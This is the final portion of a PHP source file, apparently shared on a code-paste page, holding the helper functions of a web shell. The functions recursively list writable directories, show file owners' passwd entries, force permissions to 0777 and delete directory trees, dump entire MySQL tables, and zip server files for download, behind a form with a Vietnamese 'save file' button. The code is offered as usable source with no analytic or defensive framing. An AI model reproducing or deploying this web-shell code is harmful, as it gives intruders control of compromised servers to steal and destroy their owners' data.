  1559. $array = stripslashes($array);
  1560. }
  1561. return $array;
  1562. }
  1563. function html_clean($content) {
  1564. $content = htmlspecialchars($content);
  1565. $content = str_replace("\n","<br />",$content);
  1566. $content = str_replace(" ","&nbsp;&nbsp;",$content);
  1567. $content = str_replace("\t","&nbsp;&nbsp;&nbsp;&nbsp;",$content);
  1568. return $content;
  1569. }
  1570. function getChmod($filepath){
  1571. return substr(base_convert(@fileperms($filepath),10,8),-4);
  1572. }
  1573. function getPerms($filepath) {
  1574. $mode = @fileperms($filepath);
  1575. if (($mode &0xC000) === 0xC000) {$type = 's';}
  1576. elseif (($mode &0x4000) === 0x4000) {$type = 'd';}
  1577. elseif (($mode &0xA000) === 0xA000) {$type = 'l';}
  1578. elseif (($mode &0x8000) === 0x8000) {$type = '-';}
  1579. elseif (($mode &0x6000) === 0x6000) {$type = 'b';}
  1580. elseif (($mode &0x2000) === 0x2000) {$type = 'c';}
  1581. elseif (($mode &0x1000) === 0x1000) {$type = 'p';}
  1582. else {$type = '?';}
  1583. $owner['read'] = ($mode &00400) ?'r': '-';
  1584. $owner['write'] = ($mode &00200) ?'w': '-';
  1585. $owner['execute'] = ($mode &00100) ?'x': '-';
  1586. $group['read'] = ($mode &00040) ?'r': '-';
  1587. $group['write'] = ($mode &00020) ?'w': '-';
  1588. $group['execute'] = ($mode &00010) ?'x': '-';
  1589. $world['read'] = ($mode &00004) ?'r': '-';
  1590. $world['write'] = ($mode &00002) ?'w': '-';
  1591. $world['execute'] = ($mode &00001) ?'x': '-';
  1592. if( $mode &0x800 ) {$owner['execute'] = ($owner['execute']=='x') ?'s': 'S';}
  1593. if( $mode &0x400 ) {$group['execute'] = ($group['execute']=='x') ?'s': 'S';}
  1594. if( $mode &0x200 ) {$world['execute'] = ($world['execute']=='x') ?'t': 'T';}
  1595. return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
  1596. }
  1597. function getUser($filepath) {
  1598. if (function_exists('posix_getpwuid')) {
  1599. $array = @posix_getpwuid(@fileowner($filepath));
  1600. if ($array &&is_array($array)) {
  1601. return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
  1602. }
  1603. }
  1604. return '';
  1605. }
  1606. function deltree($deldir) {
  1607. $mydir=@dir($deldir);
  1608. while($file=$mydir->read()) {
  1609. if((is_dir($deldir.'/'.$file)) &&($file!='.') &&($file!='..')) {
  1610. @chmod($deldir.'/'.$file,0777);
  1611. deltree($deldir.'/'.$file);
  1612. }
  1613. if (is_file($deldir.'/'.$file)) {
  1614. @chmod($deldir.'/'.$file,0777);
  1615. @unlink($deldir.'/'.$file);
  1616. }
  1617. }
  1618. $mydir->close();
  1619. @chmod($deldir,0777);
  1620. return @rmdir($deldir) ?1 : 0;
  1621. }
  1622. function bg() {
  1623. global $bgc;
  1624. return ($bgc++%2==0) ?'alt1': 'alt2';
  1625. }
  1626. function getPath($scriptpath,$nowpath) {
  1627. if ($nowpath == '.') {
  1628. $nowpath = $scriptpath;
  1629. }
  1630. $nowpath = str_replace('\\','/',$nowpath);
  1631. $nowpath = str_replace('//','/',$nowpath);
  1632. if (substr($nowpath,-1) != '/') {
  1633. $nowpath = $nowpath.'/';
  1634. }
  1635. return $nowpath;
  1636. }
  1637. function getUpPath($nowpath) {
  1638. $pathdb = explode('/',$nowpath);
  1639. $num = count($pathdb);
  1640. if ($num >2) {
  1641. unset($pathdb[$num-1],$pathdb[$num-2]);
  1642. }
  1643. $uppath = implode('/',$pathdb).'/';
  1644. $uppath = str_replace('//','/',$uppath);
  1645. return $uppath;
  1646. }
  1647. function getcfg($varname) {
  1648. $result = get_cfg_var($varname);
  1649. if ($result == 0) {
  1650. return 'No';
  1651. }elseif ($result == 1) {
  1652. return 'Yes';
  1653. }else {
  1654. return $result;
  1655. }
  1656. }
  1657. function getfun($funName) {
  1658. return (false !== function_exists($funName)) ?'Yes': 'No';
  1659. }
  1660. function GetList($dir){
  1661. global $dirdata,$j,$nowpath;
  1662. !$j &&$j=1;
  1663. if ($dh = opendir($dir)) {
  1664. while ($file = readdir($dh)) {
  1665. $f=str_replace('//','/',$dir.'/'.$file);
  1666. if($file!='.'&&$file!='..'&&is_dir($f)){
  1667. if (is_writable($f)) {
  1668. $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
  1669. $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
  1670. $dirdata[$j]['dirchmod']=getChmod($f);
  1671. $dirdata[$j]['dirperm']=getPerms($f);
  1672. $dirdata[$j]['dirlink']=ue($dir);
  1673. $dirdata[$j]['server_link']=$f;
  1674. $dirdata[$j]['client_link']=ue($f);
  1675. $j++;
  1676. }
  1677. GetList($f);
  1678. }
  1679. }
  1680. closedir($dh);
  1681. clearstatcache();
  1682. return $dirdata;
  1683. }else {
  1684. return array();
  1685. }
  1686. }
  1687. function qy($sql) {
  1688. $res = $error = '';
  1689. if(!$res = @mysql_query($sql)) {
  1690. return 0;
  1691. }else if(is_resource($res)) {
  1692. return 1;
  1693. }else {
  1694. return 2;
  1695. }
  1696. return 0;
  1697. }
  1698. function q($sql) {
  1699. return @mysql_query($sql);
  1700. }
  1701. function fr($qy){
  1702. mysql_free_result($qy);
  1703. }
  1704. function sizecount($size) {
  1705. if($size >1073741824) {
  1706. $size = round($size / 1073741824 * 100) / 100 .' G';
  1707. }elseif($size >1048576) {
  1708. $size = round($size / 1048576 * 100) / 100 .' M';
  1709. }elseif($size >1024) {
  1710. $size = round($size / 1024 * 100) / 100 .' K';
  1711. }else {
  1712. $size = $size .' B';
  1713. }
  1714. return $size;
  1715. }
  1716. class PHPZip{
  1717. var $out='';
  1718. function PHPZip($dir) {
  1719. if (@function_exists('gzcompress')) {
  1720. $curdir = getcwd();
  1721. if (is_array($dir)) $filelist = $dir;
  1722. else{
  1723. $filelist=$this ->GetFileList($dir);
  1724. foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
  1725. }
  1726. if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
  1727. else chdir($curdir);
  1728. if (count($filelist)>0){
  1729. foreach($filelist as $filename){
  1730. if (is_file($filename)){
  1731. $fd = fopen ($filename,'r');
  1732. $content = @fread ($fd,filesize($filename));
  1733. fclose ($fd);
  1734. if (is_array($dir)) $filename = basename($filename);
  1735. $this ->addFile($content,$filename);
  1736. }
  1737. }
  1738. $this->out = $this ->file();
  1739. chdir($curdir);
  1740. }
  1741. return 1;
  1742. }
  1743. else return 0;
  1744. }
  1745. function GetFileList($dir){
  1746. static $a;
  1747. if (is_dir($dir)) {
  1748. if ($dh = opendir($dir)) {
  1749. while ($file = readdir($dh)) {
  1750. if($file!='.'&&$file!='..'){
  1751. $f=$dir .'/'.$file;
  1752. if(is_dir($f)) $this->GetFileList($f);
  1753. $a[]=$f;
  1754. }
  1755. }
  1756. closedir($dh);
  1757. }
  1758. }
  1759. return $a;
  1760. }
  1761. var $datasec = array();
  1762. var $ctrl_dir = array();
  1763. var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  1764. var $old_offset = 0;
  1765. function unix2DosTime($unixtime = 0) {
  1766. $timearray = ($unixtime == 0) ?getdate() : getdate($unixtime);
  1767. if ($timearray['year'] <1980) {
  1768. $timearray['year'] = 1980;
  1769. $timearray['mon'] = 1;
  1770. $timearray['mday'] = 1;
  1771. $timearray['hours'] = 0;
  1772. $timearray['minutes'] = 0;
  1773. $timearray['seconds'] = 0;
  1774. }
  1775. return (($timearray['year'] -1980) <<25) |($timearray['mon'] <<21) |($timearray['mday'] <<16) |
  1776. ($timearray['hours'] <<11) |($timearray['minutes'] <<5) |($timearray['seconds'] >>1);
  1777. }
  1778. function addFile($data,$name,$time = 0) {
  1779. $name = str_replace('\\','/',$name);
  1780. $dtime = dechex($this->unix2DosTime($time));
  1781. $hexdtime = '\x'.$dtime[6] .$dtime[7]
  1782. .'\x'.$dtime[4] .$dtime[5]
  1783. .'\x'.$dtime[2] .$dtime[3]
  1784. .'\x'.$dtime[0] .$dtime[1];
  1785. eval('$hexdtime = "'.$hexdtime .'";');
  1786. $fr = "\x50\x4b\x03\x04";
  1787. $fr .= "\x14\x00";
  1788. $fr .= "\x00\x00";
  1789. $fr .= "\x08\x00";
  1790. $fr .= $hexdtime;
  1791. $unc_len = strlen($data);
  1792. $crc = crc32($data);
  1793. $zdata = gzcompress($data);
  1794. $c_len = strlen($zdata);
  1795. $zdata = substr(substr($zdata,0,strlen($zdata) -4),2);
  1796. $fr .= pack('V',$crc);
  1797. $fr .= pack('V',$c_len);
  1798. $fr .= pack('V',$unc_len);
  1799. $fr .= pack('v',strlen($name));
  1800. $fr .= pack('v',0);
  1801. $fr .= $name;
  1802. $fr .= $zdata;
  1803. $fr .= pack('V',$crc);
  1804. $fr .= pack('V',$c_len);
  1805. $fr .= pack('V',$unc_len);
  1806. $this ->datasec[] = $fr;
  1807. $new_offset = strlen(implode('',$this->datasec));
  1808. $cdrec = "\x50\x4b\x01\x02";
  1809. $cdrec .= "\x00\x00";
  1810. $cdrec .= "\x14\x00";
  1811. $cdrec .= "\x00\x00";
  1812. $cdrec .= "\x08\x00";
  1813. $cdrec .= $hexdtime;
  1814. $cdrec .= pack('V',$crc);
  1815. $cdrec .= pack('V',$c_len);
  1816. $cdrec .= pack('V',$unc_len);
  1817. $cdrec .= pack('v',strlen($name) );
  1818. $cdrec .= pack('v',0 );
  1819. $cdrec .= pack('v',0 );
  1820. $cdrec .= pack('v',0 );
  1821. $cdrec .= pack('v',0 );
  1822. $cdrec .= pack('V',32 );
  1823. $cdrec .= pack('V',$this ->old_offset );
  1824. $this ->old_offset = $new_offset;
  1825. $cdrec .= $name;
  1826. $this ->ctrl_dir[] = $cdrec;
  1827. }
  1828. function file() {
  1829. $data = implode('',$this ->datasec);
  1830. $ctrldir = implode('',$this ->ctrl_dir);
  1831. return $data .$ctrldir .$this ->eof_ctrl_dir .pack('v',sizeof($this ->ctrl_dir)) .pack('v',sizeof($this ->ctrl_dir)) .pack('V',strlen($ctrldir)) .pack('V',strlen($data)) ."\x00\x00";
  1832. }
  1833. }
  1834. function sqldumptable($table,$fp=0) {
  1835. $tabledump = "DROP TABLE IF EXISTS $table;\n";
  1836. $tabledump .= "CREATE TABLE $table (\n";
  1837. $firstfield=1;
  1838. $fields = q("SHOW FIELDS FROM $table");
  1839. while ($field = mysql_fetch_array($fields)) {
  1840. if (!$firstfield) {
  1841. $tabledump .= ",\n";
  1842. }else {
  1843. $firstfield=0;
  1844. }
  1845. $tabledump .= " $field[Field] $field[Type]";
  1846. if (!empty($field["Default"])) {
  1847. $tabledump .= " DEFAULT '$field[Default]'";
  1848. }
  1849. if ($field['Null'] != "YES") {
  1850. $tabledump .= " NOT NULL";
  1851. }
  1852. if ($field['Extra'] != "") {
  1853. $tabledump .= " $field[Extra]";
  1854. }
  1855. }
  1856. fr($fields);
  1857. $keys = q("SHOW KEYS FROM $table");
  1858. while ($key = mysql_fetch_array($keys)) {
  1859. $kname=$key['Key_name'];
  1860. if ($kname != "PRIMARY"&&$key['Non_unique'] == 0) {
  1861. $kname="UNIQUE|$kname";
  1862. }
  1863. if(!is_array($index[$kname])) {
  1864. $index[$kname] = array();
  1865. }
  1866. $index[$kname][] = $key['Column_name'];
  1867. }
  1868. fr($keys);
  1869. while(list($kname,$columns) = @each($index)) {
  1870. $tabledump .= ",\n";
  1871. $colnames=implode($columns,",");
  1872. if ($kname == "PRIMARY") {
  1873. $tabledump .= " PRIMARY KEY ($colnames)";
  1874. }else {
  1875. if (substr($kname,0,6) == "UNIQUE") {
  1876. $kname=substr($kname,7);
  1877. }
  1878. $tabledump .= " KEY $kname ($colnames)";
  1879. }
  1880. }
  1881. $tabledump .= "\n);\n\n";
  1882. if ($fp) {
  1883. fwrite($fp,$tabledump);
  1884. }else {
  1885. echo $tabledump;
  1886. }
  1887. $rows = q("SELECT * FROM $table");
  1888. $numfields = mysql_num_fields($rows);
  1889. while ($row = mysql_fetch_array($rows)) {
  1890. $tabledump = "INSERT INTO $table VALUES(";
  1891. $fieldcounter=-1;
  1892. $firstfield=1;
  1893. while (++$fieldcounter<$numfields) {
  1894. if (!$firstfield) {
  1895. $tabledump.=", ";
  1896. }else {
  1897. $firstfield=0;
  1898. }
  1899. if (!isset($row[$fieldcounter])) {
  1900. $tabledump .= "NULL";
  1901. }else {
  1902. $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
  1903. }
  1904. }
  1905. $tabledump .= ");\n";
  1906. if ($fp) {
  1907. fwrite($fp,$tabledump);
  1908. }else {
  1909. echo $tabledump;
  1910. }
  1911. }
  1912. fr($rows);
  1913. if ($fp) {
  1914. fwrite($fp,"\n");
  1915. }else {
  1916. echo "\n";
  1917. }
  1918. }
  1919. function ue($str){
  1920. return urlencode($str);
  1921. }
  1922. function p($str){
  1923. echo $str."\n";
  1924. }
  1925. function tbhead() {
  1926. p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
  1927. }
  1928. function tbfoot(){
  1929. p('</table>');
  1930. }
  1931. function makehide($name,$value=''){
  1932. p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
  1933. }
  1934. function makeinput($arg = array()){
  1935. $arg['size'] = $arg['size'] >0 ?"size=\"$arg[size]\"": "size=\"100\"";
  1936. $arg['extra'] = $arg['extra'] ?$arg['extra'] : '';
  1937. !$arg['type'] &&$arg['type'] = 'text';
  1938. $arg['title'] = $arg['title'] ?$arg['title'].'<br />': '';
  1939. $arg['class'] = $arg['class'] ?$arg['class'] : 'input';
  1940. if ($arg['newline']) {
  1941. p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
  1942. }else {
  1943. p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
  1944. }
  1945. }
  1946. function makeselect($arg = array()){
  1947. if ($arg['onchange']) {
  1948. $onchange = 'onchange="'.$arg['onchange'].'"';
  1949. }
  1950. $arg['title'] = $arg['title'] ?$arg['title'] : '';
  1951. if ($arg['newline']) p('<p>');
  1952. p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
  1953. if (is_array($arg['option'])) {
  1954. foreach ($arg['option'] as $key=>$value) {
  1955. if ($arg['selected']==$key) {
  1956. p("<option value=\"$key\" selected>$value</option>");
  1957. }else {
  1958. p("<option value=\"$key\">$value</option>");
  1959. }
  1960. }
  1961. }
  1962. p("</select>");
  1963. if ($arg['newline']) p('</p>');
  1964. }
  1965. function formhead($arg = array()) {
  1966. !$arg['method'] &&$arg['method'] = 'post';
  1967. !$arg['action'] &&$arg['action'] = $self;
  1968. $arg['target'] = $arg['target'] ?"target=\"$arg[target]\"": '';
  1969. !$arg['name'] &&$arg['name'] = 'form1';
  1970. p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
  1971. if ($arg['title']) {
  1972. p('<h2>'.$arg['title'].' &raquo;</h2>');
  1973. }
  1974. }
  1975. function maketext($arg = array()){
  1976. !$arg['cols'] &&$arg['cols'] = 100;
  1977. !$arg['rows'] &&$arg['rows'] = 25;
  1978. $arg['title'] = $arg['title'] ?$arg['title'].'<br />': '';
  1979. p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
  1980. }
  1981. function formfooter($name = ''){
  1982. !$name &&$name = 'submit';
  1983. p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="L&#432;u File"></p>');
  1984. p('</form>');
  1985. }
  1986. function formfoot(){
  1987. p('</form>');
  1988. }
  1989. function pr($a) {
  1990. echo '<pre>';
  1991. print_r($a);
  1992. echo '</pre>';
  1993. };echo '
  1994. ';
  1995. ?>

comments powered by Disqus